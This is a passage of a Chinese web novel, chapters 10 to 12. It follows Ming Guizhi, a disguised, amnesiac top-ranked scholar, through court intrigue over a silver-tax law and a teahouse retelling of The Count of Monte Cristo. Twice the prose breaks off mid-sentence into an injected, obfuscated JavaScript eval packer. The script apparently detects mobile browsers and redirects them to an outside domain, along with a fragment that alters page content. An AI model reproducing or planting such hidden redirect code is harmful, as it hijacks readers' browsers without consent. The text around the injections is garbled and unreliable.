正似周围那些在凉风中摇曳不息的芦苇枝叶。 “我被人打晕了，一觉醒来什么都不记得。” “我不记得父亲什么情况，不记得自己中了状元，不记得要去杭州赴任……” “我更不记得你是谁，不记得我们曾经同窗……” “我甚至连自己姓甚名谁、字什么……全都不记得。” 浮云渐远，轻纱般缓缓消散。 月色再现。 赵斐终于看清楚明桂枝的表情。 无奈，孤单。 还有疏离。 与这个世界格格不入的疏离。 赵斐觉得自己很荒谬。 有这么一刹那，他觉得明桂枝本不该置身于此。 “他”只是被莫名的命运强行拖拽进来。 10. 三脆羹 京城，平康坊忘蜀楼。 夕阳懒懒爬过屋顶的金漆鸱吻。 三楼窗棂外，鎏金铜铃纹丝不动。 一楼、二楼的跑堂吆喝声、酒客划拳声到这层，全叫两寸厚的波斯毯吸了去。 廊下两盏琉璃走马灯晃着碎光，映得包银门框上“忘蜀”二字像镶嵌住红蓝宝石，亮得人转不开眼。 屋里反而一派雅致。 四折檀木屏风雕着蜀道青猿。 暗红的酸枝案头供着半人高越窑青瓷，斜插四、五枝白山茶。 花瓣尖儿上还凝着晨露。 方卯夹一箸假河鲀，雪白鱼肉在琥珀色酱汁里滚了滚，落进青玉碗叮咚一声响。 对面的郭岘正拿银匙搅三脆羹，羹汤腾起的热气扑在他圆脸上，倒把那双细眼衬得雾蒙蒙的。 “要说泉州的海错嘛……”方卯咽下鱼肉，喉结在松垮的皮肉里滚了滚，“薄壳米蚶鲜是鲜，可惜总沾着铁锈味儿。” 说着，他瞥一眼郭岘——这位平章政事今日裹着件鸦青缂丝袍，领口松两粒盘扣，似只懒猫晒太阳。 可那搁下汤匙的右手食指在桌沿叩。 一下轻。 然后一下重。 敲得人心里发毛。 郭岘忽然笑出声，眼尾褶子堆成菊花瓣：“铁锈味儿？莫不是血锈味？” 他舀起一勺三脆羹，笋尖、鸡胗、羊肚丝在匙里颤巍巍的，偏不往嘴里送，“上月，泉州府报说剿了十七处私盐灶，榫卿，你功不可没啊。” 方卯后颈一紧。 羹汤的热气正巧漫过郭岘右半边脸，反显得他左眼亮得骇人。 到底是吃过三朝的老狐狸，连夸人都带着钩子。 正待接话，却见郭岘突然把白玉汤匙往青瓷碟上一搁，“当啷”声惊得屏风后的侍童缩了脖子。 “要说鲜，得看这道乳炊羊。” 郭岘五指张开按住紫檀木转盘，腕上安南沉香珠串磕在玛瑙碗沿。 羊肋排切得纸薄，浸在牛乳与莳萝熬的浓汤里，被他筷子尖一挑，能透出光来。 “前日，刑部老刘说要查江南漕粮账，我说查什么查？”他慢悠悠把羊肉送进嘴，油星子沾在花白胡须上，“乳炊羊离了灶火，多煨一刻就老三分——榫卿，你说是不是这个理？” 方卯望着那根在汤里打转的白玉匙，一下想起二十年前郭岘审户部亏空案。 彼时，这人也是这样懒洋洋倚在太师椅上，拿银匙搅杏仁茶。 搅着搅着，就把三个侍郎送进了诏狱。 银匙搅动杏仁茶的声响，从光阴那头荡过来。 那年春寒料峭，户部值房里炭盆烧得通红，郭岘裹着灰鼠皮大氅，指甲盖轻轻刮着汝窑盏沿：“王侍郎，你说杨州盐引亏了二万两？” 话音未落，银匙突然往盏底一戳，杏仁渣子翻上来，糊住盏壁，“要我说，是二万两银屑子沾在诸位袖口了。” …… 后来，那三个侍郎的乌纱帽，可不就像杏仁渣似的叫人刮了个干净。 方卯捏着酒盏的手紧了紧。 他与郭岘是同榜呢。 宁朝最人才济济的一届。 明之万、他、赵固，傅融。 当年御赐的金花，簪到郭岘幞头上不过第五朵。 如今只他成了内阁梁柱。 屏风后小厮添酒时带进一缕风，吹得郭岘腕间沉香珠子碰出细响，像他二十载宦海浮沉的脚步声。 “要说圣上这手棋……” 郭岘夹了片沙鱼脍，薄如蝉翼的鱼生在醋碟里打了个转，“三脆羹要笋尖托着鸡胗，羊肚丝勾着芡——古长青这碗老陈醋，不正好解银税法的腻？” 他忽然眯眼笑起来，颊上肥肉把眼睛挤成两道缝，真似个慈眉善目的弥勒。 方卯喉头鲠着根鱼刺似的。 那日明桂枝在客栈论“银税法”时的神情突然浮现，少年人眼里烧着把野火，燎得他这老盐腌的心肠发烫。 “青山兄，” 他摩挲着越窑盏冰裂纹，“泉州港近来漂来些吕宋商船，载的银子……” 郭岘筷子尖在玛瑙碗沿轻轻一搭。 外头传来楼下跑堂的吆喝：“炉焙鸡来咯——炉焙鸡，香喷喷的炉焙鸡”。 他偏头听了半晌，忽然拿筷子蘸着酒水在桌上画："你道圣上为何偏要古长青管户部？” 酒痕蜿蜒成条大运河。 “前日工部要修河堤，古大人批了三万两——”郭岘手指突然在“大运河”中间一戳，水渍溅到方卯袖口，“转头他就参了江南织造局贪墨二万两。” 窗缝里漏进暮色，染在郭岘花白胡须上，恰似浮起层烟雾。 方卯望着桌上将干未干的酒渍，忽然觉得那分明是张蛛网——银税法不过是最亮的那根丝。 后头还粘着漕粮、盐铁、边饷…… 哪根动了都要震落一兜子露水。 越窑盏的凉意渗进方卯指腹。 屏风外传来汤面的香气。 他想起前日客栈里热气腾腾的面疙瘩汤。 明桂枝为他们端来面汤时，一双墨眸津津亮着光。 不过十七八的少年，偏说什么“欲为大者，当为人役”。 茶盏“嗒”地磕在转盘上，惊得瓷瓶里山茶露珠滚落花瓣。 郭岘拿银签子挑乳炊羊的腩肉，黄澄澄油星子在签尖颤巍巍：“榫卿，你食不知味，莫不是惦记着泉州的鲥鱼？” “我惦记捕鲥鱼的网。” 方卯嗓子眼发涩。 那日，少年眼里的光，比忘蜀楼的琉璃灯还扎人。 “青山兄可还记得岁前无锡米商闹事？银税法还没推行，谷价已然涨了三成......” 话尾叫郭岘的笑声剪了去。 这老狐狸不知何时摸出个鎏金鼻烟壶，凑在油光光的鼻头下深吸一口：“榫卿啊榫卿，二十年前你审淮北赈灾案，连参户部十二本的劲头呢？” 他忽然倾身，沉香珠串哗啦扫过杯盘，“你认老了？” 方卯后槽牙发紧。 窗格子漏进的斜阳正巧打在郭岘左手背——那里有道寸长的疤，是当年抄济南府尹宅子时叫金簪划的。 如今疤被肥肉撑开了，似条僵死的蚕。 “对了，” 郭岘捏起块沙鱼脍，鱼生在醋碟里浸得发卷，“你侄儿呢，不是说要在老夫跟前露露脸？” 方卯喉头一滚。 去年泉州走私案，方靖三日三夜不眠不休，带着衙门的师爷、铺头，一间一间银号、米铺查账。 破绽原是藏于账册里，府衙顺利查缴一万两的暗货。 那小子累得眼底发青，却仰头笑：“叔父，我早说了，每日记录银价、米价确有必要！" “那愣头青......”方卯摩挲着酒盅上凸起的牡丹花纹，“他不怎么聪明，却是最踏实的。” “那他人呢？” “跟着明桂枝往杭州去了，去数杭州港的胡椒筐子。” 他想起方靖临行前，对着那本札记翻来覆去算账——“叔父您瞧，泉州年前的豆蔻价比去岁涨了两倍不止......” 郭岘的银签子一下插进羊骨髓，“嗤”一声：“明桂枝……” 他腕子一抖，油花子溅到蜀锦桌围上，泼了幅写意画，“你们认识？” “说来话长。” 暮色漫进窗棂，鎏金铜铃在风里叮铃响。 跑堂的吆喝声隐约飘上来：“羊酪酿橙要凉咯——” …… 舱顶漏下的月光被黄梅雨渍染成灰蓝色。 明桂枝绞着青缎般的长发，湿气在舱板弥漫成薄纱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918041|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翡翠镯子碰着铜盆叮咚作响，像极遇劫的刀剑余音。 赵斐隔着湘竹帘听见铜盆轻响，忽想起书院晨课时，那人总将笔洗搁在砚台左侧三寸处，分毫不差。 “官船备了金创药。” 他将青瓷药瓶滚过舱板，瓶身朱砂标签晕开一尾游鱼似的赤色。 明桂枝用鞋尖抵住药瓶。 她笑了笑。 那笑如江心的波光鳞鳞，照落在赵斐襟前未干的血渍上。 血渍原是匪徒的，在月白衣料上溅出狰狞的红梅。 “那匪首说的裕王，”他指尖掐进掌心旧疤：“是我姑父。” “哦？幕后黑手想离间你我？” “你不怀疑？” “我猜裕王没那么蠢。” 赵斐掌心旧疤突地一跳。 他笑了。 笑声像剑鞘撞上甲板，惊飞了梁间栖燕。 他突然记起方卯说的——“与聪明人说话就是畅快”。 惊飞的燕影掠过窗棂时，恰撞开竹帘的，是方靖沾着夜露的马皮靴。 他撞碎一帘月光，漆盘里煨着的金华火腿炖笋正冒白烟。 方靖袖口沾着芦苇絮，掀开煨着热汤的陶罐：“泉州人总说，飓风过后，就靠三样东西认路——热汤气、油灯芯、还有骂娘声。” 明桂枝舀汤的银匙搅碎了月影。 这唠叨鬼，连送饭都要嵌段掌故，像他总别在襟口的镶金雕花笔套。 晃眼，却没什么锋芒。 方靖一陶勺在汤罐划出弧光，火腿片雪花似的落进明桂枝碗里。 他问：“官船的甲板宽得能跑马，你们何苦去挤私船？” 赵斐用银筷尖拨弄药瓶：“怪我，自作聪明。” 瓶底轻叩船板三下。 像打更人敲着三更梆子。 方靖为他夹一大箸餸，溅起点点汤花：“可不是！” 他指了指袖口的忍冬纹铜扣：“亏得枢密院配了青海骢给叔父，也幸亏我半途折返，不然，你俩还在芦苇荡流浪。” “仲安兄，”赵斐一筷子惊散汤面：“按说，方大人此刻该到京城了，你何故折返？” 明桂枝余光瞥了眼赵斐，又看向方靖。 上京的方大人、泉州、枢密院…… 银匙凝在汤碗沿口，映着月色的浓汤，忽而化作那日茶案上的水沫。 蒸汽稍散，她看清方靖袖口的忍冬纹铜扣。 这样式的，那“方大人”亦有。 原来是枢密院的标识？ 是她不识泰山，错认作寻常的富贵花样。 那日老者屈指叩桌的韵律，正与此刻船工的划水声同频。 “仲安兄，你的叔父...”她吞下又一片火腿，咸香里渗出鲜甜的涩味：“可是枢密副使方卯大人？” “正是，”方靖拈了片腌梅子含在舌尖，酸得眯起眼，“这不都还未正式到任，枢密院的密信已经一封封沿途寄到驿站，摞起来能压沉漕船。叔父倒好，成日里念叨什么‘银税未定，寝食难安’——他是要把银税法刻进族谱当传家宝。” “那我真失礼，在他老人家面前抨击银税法，岂不是在你家祠堂里摔牌位？”明桂枝叹道：“亏得方大人好涵养，听我胡言乱语也没掀桌子。” 方靖筷子尖定在半空，米粒粘箸上。 他想起，去岁腊月，泉州府衙的主簿多嘴说“银税法恐伤漕运”，叔父当场摔了整套斗彩茶具，碎瓷片飞到廊柱上，震得梁间的陈年旧灰簌簌飘。 他喉头滚了滚：“状元郎好口才，能把米粒说成珍珠...许是凑巧撞上三分理。” 赵斐的箸在笋片上一顿。 舱外桨声欸乃，搅开半江月色。 “对了，” 方靖忽又问：“你们两家人不是有仇么，怎的同舟共济了？” 11. 恩仇录 景州。 南码头拐弯处，青石阶被磨得泛油光。 一抬头，“停云楼”三字悬在飞檐底下，墨迹透着水汽，像新写的。 跑堂说这楼名取自陶公《停云》一诗，东家原是落第举子，卖茶时总爱吟两句“翩翩飞鸟，息我庭柯”。 明桂枝拣了临水第三桌，盏里泡着新运到的碧螺春。 跑堂端来景州驰名点心“金银缠丝”，千层酥饼掰开，簌簌飘落蟹黄屑。 说书人惊堂木一拍，惊得檐角铃铎晃了三晃。 “列位看官，今日咱们旧账本里翻新契纸——专说京城明、赵两家的恩怨情仇。” 明桂枝不眨一瞬看向说书人，窗棂漏下的光斑在她睫毛上跳。 赵斐淡淡望向窗外。 方靖说要去盯官船的米粮过斗，临走搁在条凳上的斗笠还在滴水，蓑衣草腥混着椒盐香榧子的香气，惹得灰雀在窗楹内外跳格子。 说书人清了清喉咙：“且听风云聚会，细数古今恩仇。” 他袖中抖出半卷文白稿纸：“话说，咱宁朝开国那日，高祖爷敲着金銮殿的阶石问：‘朕要设个监察百官的衙门，在下众卿家，谁堪大任？’” 竹板"嘚"地敲在茶案上：“话未落音，赵家太爷赵磐捧着前朝的尚书官印出列，官袍补子还绣着旧主赐的仙鹤。” 明桂枝低声问赵斐：“赵磐是你祖父？” “太祖父。” “他是前朝降臣？” 明桂枝又问。 赵斐举盏的手一顿，侧首不应。 窗外灰雀不合时宜地欢快蹦跳，宛若嘲笑。 他片刻才答：“是。” 舌尖有血腥味，仿佛刚咽下带倒刺的鱼骨。 说书人竹板敲着茶案豁口：“赵老太爷捧着降臣名册，腰牌磕得金銮殿的乌金砖叮当作响——他率一众前臣降新主，对宁朝有大功，于是想当然，这监察百官的好差事定必十拿九稳，非他莫属！” 明桂枝又悄声问：“监察百官，是辑事厂吗？” “天机府。” ——“谁曾想！” 惊堂木又一拍，说书人道：“说时迟，那时快，明家太爷明子兴亦出列——”他压沉嗓子，学文臣腔：“‘陛下，臣亦有志于此！’” 尾音劈了岔，像断弦的筝。 “赵家祖祠供着三朝阁老的牌位，明家太爷么——” 竹板敲了两敲：“前朝状元又如何？寒门庶族，桐木怎么和金丝楠比？” 明桂枝捻起块千层酥饼：“这般说来，是你太祖父掌了天机府？" 赵斐朝说书人瞥一眼：“你听他说吧。” “但是，明家太爷有一项无人能及的功绩——” 说书人抖开半幅泛黄绢布：“想当初，高祖爷在沧州点兵那日，正是明子兴一个箭步上前——” 堂木劈裂茶案水渍，“刺啦撕下中军黄旗，往高祖身上一披，大呼万岁，随即三军万岁声一浪接一浪！” 只见他黄绢布一扯：“黄旗再糙，裹得住真龙天子；降臣册再厚，抵不过三军归心！前朝贰臣与从龙之士，孰亲孰疏？天机府的掌印理所当然归明子兴所有。” 茶汤碎成粼粼波光，明桂枝托腮的指尖还沾着酥饼屑。 她听得入神，不虞跑堂铜壶嘴一颤，咕哝声混着水汽飘出来：“陈芝麻烂谷子的......” 邻桌茶客的杭绸广袖沾了些茶沫子：“这旧账翻得——”他拎起袖口对着天光抖了抖，“我新裁的料子都腌出前朝霉味儿了！” “就是，”账房先生从算盘珠上抬眼：“上月沧州糙米涨了三文钱，都比这陈年官司有意思。” 风吹铃铎的叮当声里，灰雀叼走明桂枝掉的酥饼渣。 说书人捏黄绢的指节倏地垂下，嘴角笑纹还僵着，活像茶案上冷透的姜汁酥皮，额角汗珠子顺着脸上沟壑往下爬。 明桂枝这才惊觉满堂茶客俱是神色索然。 那穿杭绸的茶客翘着腿剔牙，账房先生已开始核对米价簿。 独独她听得入神，面前茶点碟空了大半。 她侧目瞧见赵斐面色，心头猛地一凛。 ——自己是穿越而来的，对明家先祖没有感情，可是那说书人编排打趣的却是赵斐的太祖爷呀。 赵斐虽仍端坐如松，右手却按在茶案边缘，指节隐隐发白。 “允书兄，”明桂枝将最后一块酥饼推到他面前，“我刚刚听得入迷，也不曾醒起......” “无妨，他亦并非胡乱编排。” 赵斐垂眸望着那块酥饼。 江风掠过窗楹时，他眼睫极轻地颤了颤，分明是避开明桂枝的视线。 偏偏，一点未及敛去的倦色从眼尾漏出来。 经年的苦沁进骨缝，就像眼前茶盏冰裂纹里的茶渍。 ——赵家的人若非代代都略逊明家的一筹，又何至于执念至此？ 漕船的号子声刺破茶楼喧嚷。 他望着窗外，新卸的米袋在日头下泛冷光。 恰似当日状元策马游街时洒的金银箔，被风一卷，散作绚烂的漫天星火。 落在赵家儿郎身上，却成了压垮脊梁的霜。 碧螺春碎叶在盏底蜷成褐色的茧。 风停了，铃铎一滞。 明桂枝清冽的嗓音破开尴尬的静默，似一柄青锋剑劈开云雾。 ——“诸位，在下倒有一段江湖旧事，恩怨纠葛二十载，血雨腥风三千里，可有人愿闻其详？” 赵斐猛地回首，狐疑看“他”。 茶楼霎时更静了三分。 跑堂拎着铜壶僵在过道，壶嘴滴下水珠在青砖上砸出个浅坑。 ——“小后生……” 西侧天井旁的那桌，有个穿青绸衫子、员外打扮的中年人。 他斜倚藤椅，花梨木折扇骨叩了叩扶手:“景州虽不是运河重镇，但也是连接山东、北直隶的名城，每日应接南来北往的游人，咱听的故事多了去。” “就是，”中年员外旁桌是个老童生，花白胡子一抖，铜柄放大镜磕在《南华经》残卷上：“你这娃娃胎毛未褪，能讲出什么名堂？” 明桂枝笑道：“诸位安心，我这故事少不得江湖恩怨、血海深仇，更有红妆劫掠的蹊跷事、十年一剑的报冤录。” “他”将茶盏往案头轻搁，眼中波光流转：“一桩桩奇案连环相扣，一重重迷雾渐次揭开，包保大家听得惊心动魄，欲罢不能。" 千层酥饼屑在茶汤浮起油膜，映着天窗漏下的光斑摇晃。 青衫员外本在慢条斯理拨弄玉扳指，听得这精彩的文白，又听满堂茶客议论纷纷，不由转头定睛细看。 但见明桂枝一袭天水碧的绸衫临风微动，眉目胜工笔描就的精致。 员外当下折扇往掌心一扣，指着说书先生笑道：“说书的，且将你惊堂木借与这位小友，老郑我倒要听听，他这小公子哥儿，如何讲得比你这江湖客还惊心动魄。” 说书人攥着油光发亮的惊堂木，喉间发出含糊的“嗬嗬”声。 这惊堂木用的并非什么名贵木材，却是师祖传下的饭碗，岂能随意交给别个？ 同行就罢了，对方还是个茶客。 那郑员外笑了笑，从袖笼掏出一枚银锭，唤跑堂递到说书人案前。 “说书的，按江湖规矩，”他说：“若这小哥说得锦绣满堂，这二两银归他润喉；若他说得鸦雀无声，便权当添你三更天的夜宵钱。” 四周茶客早忘了嗑瓜子，但闻银锭在说书人领赏的漆盘中嗡嗡震颤。 一如高手过招前的剑鸣。 “祖师传下过规矩...”说书人沙哑吐出半句，却被银锭寒光刺得晃了眼。 郑员外冷笑：“喂，你在这儿说足一天，能讨多少银钱？” 说书人撇了撇嘴，不情不愿把惊堂木搁在跑堂的托盘。 惊堂木传到明桂枝手上时，窗外恰有微雨敲青瓦。 木头沉甸甸，“他”拿在手里左右打量，又翻转抛了抛。 衣袖带起的风，惊醒了赵斐盏里将散的碧螺春。 “允书兄，你看。” 明桂枝笑得明媚，把惊堂木往他眼前一送，像年画里献宝的瑞兽。 “你不是失魂症么？” 赵斐低声问。 “他”答：“我这失魂症有点怪，偏偏只记得有趣的事。” 说罢，惊堂木一拍，震得茶汤漾起圈圈涟漪。 ——“话说，前朝的时候，江浙漕帮有个少舵主，姓唐，名唤泰斯。他精通海运，常押运与东洋贸易。却说那日，唐少舵主押着三十艘漕船过钱塘江……” 明桂枝把《基督山恩仇录》的故事移花接木，化作中国古代背景，娓娓道来。 …… 方靖走近停云楼时，正逢暮色浸染门楼。 灯火初上，照得青砖地上人影憧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918042|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 憧。 他抬手拂去肩头细碎雨珠，听见堂内一声惊堂木炸响，满座喝彩如潮水翻涌，竟比白日里更炽三分。 却转瞬，喝彩声变成叹息声、哀怨声。 ——“他没死！唐泰斯他命硬着呢，绝对还喘着气！” ——“唉，五十丈高的悬崖呢……” ——“他要是嗝屁了，那范立亚大人教他那些番文、算术，岂不是全白瞎了？” 方靖疑惑也诧异——早间他离席之际，说书人抖落的是明、赵两家四代宿怨…… 唐泰斯是谁？ 范立亚大人又是哪位？什么番文、算术？ 什么五十丈的悬崖？ 方靖攥着半湿的油纸伞往人堆里挤，皂靴险些被踩掉。 上午空荡荡的楹联柱旁，此刻竟有赤脚汉子蹲在础石上，捧着粗陶碗接檐角漏下的雨水当茶喝。 浓烈的酒气、花生瓜子的油脂味与煎饼味混合。 停云楼全然没有半点原先的闲适恬静。 他眉头皱了又皱。 方靖尽力往里挤，马皮靴尽是污渍，衣衫皱得快要勾丝。 好不容易挤到厅堂，耳边传来一声猛喝：“你个傻子，悬崖下面是海，唐泰斯死不了！” 是个穿油亮短打的鱼贩子，他正揪着个绸衫客的衣襟，两人鼻尖几乎抵在一处。 绸衫客丝毫不让：“放你祖宗的罗圈屁！那么高的阎王崖，摔下去骨头都能碾成粉！你当他是海夜叉？有九条命？” 方靖侧身避开那两个争执得面红耳赤的茶客，左顾右盼，终于在人群中央瞧见了明桂枝。 “他”坐在最中间的那张八仙桌旁，手边搁着说书人的惊堂木，悠悠捧着茶盏，轻轻啜一口茶。 茶汤的热气袅袅上升，映得“他”眉眼柔和，仿佛与周遭的喧闹隔绝开来。 赵斐坐在“他”身旁，身形笔直。 只是那八仙桌原本是四个人的茶位，虽是条凳，最多也就坐七八人。 如今却挤下十数人，赵斐只得微微翘着手肘，支开与左右旁人的距离，显得有些滑稽。 ——“仲安兄，这里！” 明桂枝瞥见方靖，连忙笑着招手示意。 声音清亮，穿透了茶楼里的嘈杂，引得周围人纷纷侧目。 “他”对众人拱了拱手：“他是我朋友，劳驾，劳驾大家让让。” 话音一落，人群竟自动自觉地让开了一条道，仿佛这话有某种魔力似的。 方靖心里纳闷，人们怎么就听“他”吩咐。 但特殊待遇总是令人受落的。 他顺着人群让出的空隙走过去，脚步轻快，心里隐隐得意。 那桌的人为他腾出了一小块地方，掌柜也识趣地递来一幅茶盏。 明桂枝顺手将桌上的瓜子壳往旁边拨了拨，笑道：“仲安兄，坐这儿。” 方靖坐下，不住讶然。 这桌茶案堆得满满当当，像个小小杂货摊。 几块油纸包着芝麻糖，糖渣撒一桌，亮晶晶像铺满一地星星。 炒得香喷喷的瓜子，壳儿堆成了小丘，偶尔有几颗没剥干净的，飘着焦香。 一包刚出炉的糖炒栗子，壳儿裂开了口，露出里头金黄饱满的果肉，热气还没散尽，香味直往人鼻子里钻。 桌底堆满山货——晒干的蘑菇，捆住脚的鸡鹅，甚至还有一只麻绳拴着的野兔，兔耳朵耷拉着，怪可怜。 最显眼的是桌子正中的一堆铜钱、碎银子和银锭，像座金银山。 方靖与赵斐中间还隔了个人，他伸长脖子，正要问赵斐怎么回事，忽然人群里传来一声呼喊：“报仇！唐泰斯要报仇！” 这嗓子又高又亮，像从人群里炸开一颗炮仗，一眨眼把茶楼里的气氛点着。 剥花生的老汉手一抖，花生壳撒了一地。 旁边那桌的妇人怀里的小孩被吓得一激灵，手里的糖糕差点掉在地上。 喝茶的老童生差点没噎着。 转瞬，大伙儿反应过来，茶厅里呼声接连，此起彼伏的—— “报仇！” “报仇，报仇！” “唐泰斯，报仇！唐泰斯，报仇！” 声浪一波接一波，热油锅里倒进一瓢冷水，噼里啪啦炸开锅。 有人拍桌子喊，有人跺脚叫，连悠哉的郑员外都忍不住跟着喊两嗓子，折扇敲得茶案砰砰响。 12. 寿王 第12章寿王 雨后，三更天泛着墨灰色的微光。 烛火将烬。 檐角水珠坠了好久才落，穿过灯笼晕开的光圈，在青石板碎成银屑。 明桂枝的惊堂木敲得很温柔。 茶楼里却静得能听见槐花落地的声响。 残雨顺着瓦槽滴进铜盆。 “叮——咚——”，给她的尾音打着节拍。 ——“却说庄少棠扶着范家娘子登上望海楼，潮声里，天尽头浮着一片云帆，渺小得像沙鸥掠水。” ——“那庄郎君远眺天际，泪洒衣襟，指节攥得白玉扇骨咯咯响。” ——“他叹道：‘唉，此去蓬山千万重，再难闻青鸟音！今日与基督山伯爵一别，万里关山远，真不知何日再会见！’” 恰此时，梁柱忽然簌簌震落陈年积灰，原是卖鱼听得入神，竹篓磕在条凳上。 天井旁的货郎浑然不觉手里油纸包松了结，五香蚕豆一颗颗往青砖缝蹦。 绸缎庄王掌柜的玛瑙扳指早褪到指根，掌心硌出红印犹不自知。 “范娘子拾起案头洒金笺。” 明桂枝轻敲梨木折扇，是郑员外借给“他”的，用来当作竹板和拍子。 ——“墨色小楷映着海天霞光，正是那基督山伯爵留的告别书……” 她将折扇一刷开，掠过将熄的烛火，忽明忽暗，更添凄凄别意：“范娘子道：‘郎君何用茫然失措，正如伯爵所言：天之涯，地之角，知己常在心；既相逢，且珍重，总有再会时！’” 临窗的老学究的茶碗在《宣武旧事》上洇出个浑圆盖章，银须挂着的泪珠映着残烛。 旁边的卖油郎把油壶抱在膝头，油渍斑斑的手指无意识搓着眼角。 斜对角戴绒花的妇人捏着半块芋脆酥，抬手拭泪，酥皮屑洒落海棠红裙裾。 ——“笃！笃——笃——” 打更声恰在此时漫过门槛。 裹着夜风的槐花瓣飘入窗内，像极故事里沙鸥羽尖抖落的浪沫。 满堂人被打更声惊破梦境。 铜壶嘴倒茶的水线倏然断掉。 跑堂的肩头水巾滑落半截，正巧接住几滴从天井檐瓦滑落的残雨。 停云楼账房先生腰间的荷包忽地散了口，碎银角子滚到青砖地上叮铃作响，倒似给明桂枝递了串急板。 “这便收梢了？” 绒花妇人红着眼问。 老学究颤巍巍擦过眼角：“公子，哪有结尾停在分别处的？再说，再说！” “老秀才，你说得真对！” 郑员外往袖笼、钱囊翻了又翻，凑出好几章银票，往茶案一拍：“小公子，这里有零有整，合共三百四十二两，你再接着说，接着说！若你嫌不够的话，我立马遣人往府里再拿！” “啊，对，对对！” 卖油郎往怀里掏出两串油粼粼的铜贯：“我也凑点！” 卖鱼汉子递来的铜钱粘着鱼鳞。 绒花妇人解下耳垂的丁香样式金坠子。 绸缎庄掌柜将玛瑙扳指褪下，在案头磕出青玉磬般的清响：“来，算上我这个，京城买的老物件，当出去也值三、五十两！” 众人你三两、我五贯的，铜串子、碎银子堆得把明桂枝都要埋住。 满泻的铜钱、碎银在青砖上蹦得老高，惊得黄狗从茶案下蹿出，尾巴“哗”声扫落一地瓜子壳。 明桂枝笑着摇头：“诸位，抱歉，抱歉！故事确实到此为止了。” 方靖的松花色衣袖被他自己揉成腌菜色。 ——“哎！不差我一个，我也求你！” 他抽抽搭搭擤了把鼻涕：“前年惊蛰，我娘亲临终前都要攥着话本子，她说，听不全‘沉珠记’，奈何桥都不过......” 说到动情处，他把茶汤当酒，仰脖猛灌，呛得满脸通红还要比划：“大伙儿说得对，哪有你这样说书的，有头无尾算个什么事儿？” 明桂枝忍不住反问：“哎哟，那劳驾你说道说道，这还有哪里不圆满？” 她掰着指头细数：“基督山伯爵他沉冤得雪、报复仇人、伸张正义，红颜知己相伴，还云游四海，人生惬意若此，夫复何求？” “哪门子的夫复何求！”方靖呜呜噎噎地，也掰手指：“伯爵和那海黛姑娘还未三书六礼，没八抬大轿，还有......” 郑员外补充：“还有大宴亲朋，一定要大排筵席！” 绸缎庄掌柜也道：“没错，生儿育女，还要儿孙满堂。” 绒花妇人捋了捋手帕：“何止，儿孙要高中状元，要做驸马爷！” “驸马爷有什么好，全家受刁蛮公主的闲气，按我说，娶丞相的女儿才好！” “不不不，丞相的女儿不一定漂亮，要娶，就娶京城第一花魁……” “你傻的吗？娶青楼女子？” 众人你一言，我一语，纷纷为故事编排后续。 明桂枝捧着茶盏莞尔。 在热茶熏腾的蒸汽里，喧闹仿佛飘远，如隔着玻璃罩子看皮影戏——郑掌柜的折扇响，绸缎庄掌柜衫子上的泪渍，绒花妇人帕角漏出的芝麻糖碎，都成了金色茶汤漫开的水汽。 她不禁莞尔。 若这筵席能不散，该多好。 这笑意生生撞进赵斐眼里。 沉冤得雪、云游四海，就足够圆满？ 还是要生儿育女、儿孙满堂、高中状元，再迎娶公主，才称得上无憾？ 他也忍不住摇头讪笑。 刹那目光相对，二人笑意更浓。 晨光漫过茶楼雕花槛窗。 赵斐轻叩叩着茶案。 ——“诸位，”他扬手，朗声道：“今晨卯时潮水要漫过景州湾，我们船上三十箱南洋沉香可等不得。” 明桂枝连忙应和：“对，表兄你不说，我还真忘了。” 绒花妇人揪着帕子，不停往明桂枝手里塞金珠子：“小公子，好歹让伯爵给海黛娘子插支金步摇再走！” 郑员外也急得直拽赵斐衣袖：“这位东家你行行好，让小公子说完大宴亲朋......” 账房先生帮口：“说到八抬大轿也成！” 赵斐与明桂枝相识一笑，再次无奈摇头。 …… 景州码头。 晨雾未散尽，水面浮着层鎏金粼光。 方靖举着货单在跳板前清点，缎衫被江风吹得鼓胀如帆。 显出几分滑稽的威风。 他每喊一声“檀木箱莫沾水”，腰间玉佩便跟着晃。 惊得脚边觅食的灰雀扑棱棱飞起。 赵斐和明桂枝不紧不慢走在后头。 晨光很薄，虚虚笼在明桂枝缥碧色的云缎衫子上。 垂柳枝子江水浣过似的绿，细条条拂过来。 叶尖儿沾着隔夜的雾，轻轻扫过赵斐肩头，留下凉津津的水痕子。 “云游四海就圆满了吗？” 他忽然问。 “不然呢？” 对方反问：“八抬大轿、大宴亲朋、大排筵席、生儿育女，儿孙高中状元然后娶京城花魁？” 赵斐轻易被“他”逗笑。 顿了顿，他又追问：“总该匡扶社稷，名留青史。” “我有失魂症，你又忘了？” 明桂枝指了指自己脑袋：“爱莫能助。” 赵斐笑笑瞟“他”一眼：“我说的唐泰斯。” “他也和失魂症差不多，”明桂枝以手扶额，笑着摇头：“他被人抛下五十丈阎王崖的时候，便已经死了，之后，世上只有基督山伯爵。” “范立亚大人有句话说得不错，” 赵斐引用故事里的情节：“若要找出罪魁祸首，必先找到何人能从此事中获益。” “哦？” “云游四海也好，匡扶社稷也罢，你总要先查出是谁害你吧。” “你有头绪？” 赵斐想说什么，但他点点头，却把话吞了回去。 明桂枝催他：“不妨直言。” “你记得盛湛吗？”

